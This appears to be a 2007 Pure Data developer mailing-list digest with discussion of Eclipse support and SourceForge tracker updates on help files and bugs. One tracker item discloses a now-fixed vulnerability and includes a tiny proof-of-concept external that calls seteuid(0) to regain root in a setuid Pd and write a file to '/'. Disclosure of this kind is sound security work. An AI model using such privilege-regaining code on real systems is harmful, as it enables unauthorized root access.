Hi, several months ago I asked the same question and someone told me that since the externals are typically monolithic applications there was no need for Eclipse. I don't know how to create a project template that can be useful for developing externals and the PD-core itself, but I'd be a happy user of it...
Julian Villegas
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1. [ pure-data-Patches-1552482 ] update to [cnv] help to document arguments (SourceForge.net) 2. eclipse + pd (Hans-Christoph Steiner) 3. [ pure-data-Bugs-1825839 ] pd-extended autobuild 0.40.2 ~> (zexy) (SourceForge.net) 4. [ pure-data-Bugs-1602345 ] security vulnerability, giving root access (SourceForge.net) 5. Re: eclipse + pd (mescalinum@gmail.com)
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Message: 1 Date: Mon, 19 Nov 2007 08:11:53 -0800 From: "SourceForge.net" noreply@sourceforge.net Subject: [PD-dev] [ pure-data-Patches-1552482 ] update to [cnv] help to document arguments To: noreply@sourceforge.net Message-ID: E1Iu9E1-0002E3-Bh@sc8-sf-web24.sourceforge.net Content-Type: text/plain; charset="UTF-8"
Patches item #1552482, was opened at 2006-09-05 01:48 Message generated for change (Comment added) made by lukeiannini You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478072&aid=1552482...
Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: puredata Group: bugfix Status: Open Resolution: None Priority: 5 Private: No Submitted By: Luke Iannini (lukeiannini) Assigned to: Miller Puckette (millerpuckette) Summary: update to [cnv] help to document arguments
Initial Comment: The canvas object seems to take arguments happily enough - while I could not find this documented, I discovered what went where by trying "cnv a b c d e f g h..." and checking where they ended up in the properties. This worked, but while the arguments appear in the properties, they do not actually "show up" in the canvas until the property window is closed again.
I've attached a patch that demonstrates this behavior.
(I was hoping to build a "canvas generator" that would save me the trouble of opening property windows to set dimensions or a recieve symbol that could be used with Joao Miguel Pais's "gui-edit" abstraction. But the receive symbol does not start functioning until the props are opened, then closed.)
Also, the first 3 arguments do not seem to do anything (they'd logically control "selectable size" and the x and y dimensions of the canvas).
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Comment By: Luke Iannini (lukeiannini)
Date: 2007-11-19 09:11
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Sorry I never did this, here's the file. File Added: my_canvas-help.pd
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Comment By: Hans-Christoph Steiner (eighthave) Date: 2007-06-14 08:20
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this patch does not apply cleanly to anything that I tried. Please submit the original pd help patch rather than the diff/patch file. diffs don't really work with .pd files.
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Comment By: Luke Iannini (lukeiannini) Date: 2006-09-20 02:45
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Hello Hans, Done : ). But I can't effect the bug>patch change.
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Comment By: Hans-Christoph Steiner (eighthave) Date: 2006-09-15 17:54
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It would be awesome then if you updated the help file and submitted that as a patch to the tracker. Then the rest of us can benefit from your explorations.
You can attach an updated help file to this tracker, then change it from a "Bug" to a "Patch".
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Comment By: Luke Iannini (lukeiannini) Date: 2006-09-05 03:12
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Sorry about that, thanks!
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Comment By: IOhannes m zm?g (zmoelnig) Date: 2006-09-05 03:03
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this is, because you are using wrong arguments and not because of a bug in [cnv]. attached is a working patch (which uses more arguments than the original one)
there are 4 possibilities to "reverse engineer" the arguments of an object: 1) read the help (won't help you with [cnv]) 2) read the pd-list (ask! chances are high that somebody already solved your problem) 3) read the patch (save a patch with the object as you would like it; open the patch with a text editor; look which arguments are used; understand what the arguments mean) 4) read the source
esp. #3 is a very simple and efficient and good way to discover the arguments of an object (the object usually knows best which arguments it needs)
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Comment By: Luke Iannini (lukeiannini) Date: 2006-09-05 01:50
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This is on Pd-x-39.2t4 (OS X.4.7 PPC)
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Message: 2 Date: Mon, 19 Nov 2007 20:00:40 -0500 From: Hans-Christoph Steiner hans@eds.org Subject: [PD-dev] eclipse + pd To: pd-dev List pd-dev@iem.at Message-ID: A30F714A-11BE-49C8-89B7-DB8546156231@eds.org Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Hey all,
I am thinking it's about time that we have a standard profile in a full featured IDE for developing Pd. I am thinking that Eclipse is the best bet since it runs everywhere, it's free, and it already has C/C++ and Tcl modes.
Has anyone worked with Pd+Eclipse at all? Anyone want to help make a Pd project profile? I think the key idea would be to make an Eclipse project to allow people to develop their externals wherever they want, but make sure that the code from that project can easily drop into the Pd-extended build system.
.hc
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Message: 3 Date: Mon, 19 Nov 2007 19:20:04 -0800 From: "SourceForge.net" noreply@sourceforge.net Subject: [PD-dev] [ pure-data-Bugs-1825839 ] pd-extended autobuild 0.40.2 ~> (zexy) To: noreply@sourceforge.net Message-ID: E1IuJee-0004t0-An@sc8-sf-glue1.sourceforge.net Content-Type: text/plain; charset="UTF-8"
Bugs item #1825839, was opened at 2007-11-04 20:24 Message generated for change (Comment added) made by sf-robot You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1825839...
Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: externals Group: v0.40.2
Status: Closed
Resolution: Duplicate Priority: 5 Private: No Submitted By: wipinmtl (wipinmtl) Assigned to: Nobody/Anonymous (nobody) Summary: pd-extended autobuild 0.40.2 ~> (zexy)
Initial Comment: ~> 38 ... couldn't create
in pd-extended autobuild 0.40.2 (for gutsy). should be part of zexy.
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Comment By: SourceForge Robot (sf-robot)
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This Tracker item was closed automatically by the system. It was previously set to a Pending status, and the original submitter did not respond within 14 days (the time period specified by the administrator of this Tracker).
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Comment By: IOhannes m zm?g (zmoelnig) Date: 2007-11-04 23:51
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the object is named [>~] instead of [~>].
apart from that it seems to be a duplication of bug-#1702883.
if the problem persists with the correct object name, please run Pd with "-verbose" and tell us the exact error-lines (preferably in bug#1702883)
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Message: 4 Date: Mon, 19 Nov 2007 19:20:07 -0800 From: "SourceForge.net" noreply@sourceforge.net Subject: [PD-dev] [ pure-data-Bugs-1602345 ] security vulnerability, giving root access To: noreply@sourceforge.net Message-ID: E1IuJeh-0004yX-9l@sc8-sf-glue1.sourceforge.net Content-Type: text/plain; charset="UTF-8"
Bugs item #1602345, was opened at 2006-11-24 07:48 Message generated for change (Comment added) made by sf-robot You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345...
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Status: Closed
Resolution: Fixed Priority: 5 Private: No Submitted By: Mathieu Bouchard (matju) Assigned to: Miller Puckette (millerpuckette) Summary: security vulnerability, giving root access
Initial Comment: first configure with --enable-setuid or just chmod 4755 pd && chown root pd, which has the same effect.
then load this external called crack.c by making a [crack] box or -lib crack:
#include <unistd.h> #include <stdio.h> void crack_setup (void) { seteuid(0); fopen("/hax0r","w"); }
An empty file called "hax0r" appears in protected folder "/" even though privileges have been dropped by pd upon startup.
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Comment By: Hans-Christoph Steiner (eighthave) Date: 2007-11-05 17:01
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I am pretty sure this the bug fixed by Miller's 0.40.3 and 0.39.3 releases. Please adjust if I am wrong.
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Message: 5 Date: Tue, 20 Nov 2007 10:09:23 +0100 From: mescalinum@gmail.com Subject: Re: [PD-dev] eclipse + pd To: "Hans-Christoph Steiner" hans@eds.org Cc: pd-dev List pd-dev@iem.at Message-ID: 673c07010711200109w551cfb52k7a5b4f3ccc0e05a0@mail.gmail.com Content-Type: text/plain; charset=ISO-8859-1
I am thinking it's about time that we have a standard profile in a full featured IDE for developing Pd. I am thinking that Eclipse is the best bet since it runs everywhere, it's free, and it already has C/C++ and Tcl modes.
Has anyone worked with Pd+Eclipse at all? Anyone want to help make a Pd project profile? I think the key idea would be to make an Eclipse project to allow people to develop their externals wherever they want, but make sure that the code from that project can easily drop into the Pd-extended build system.
I like the idea!! but I started to look at Eclipse very recently, still I am a newbie. but I've seen IDEs for almost everything running in Eclipse (I'll start to look at the Graphical Editing Framework) its plugin API looks very powerful
also here at work I see Eclipse is a standard de facto.
hope more devs get interested in this.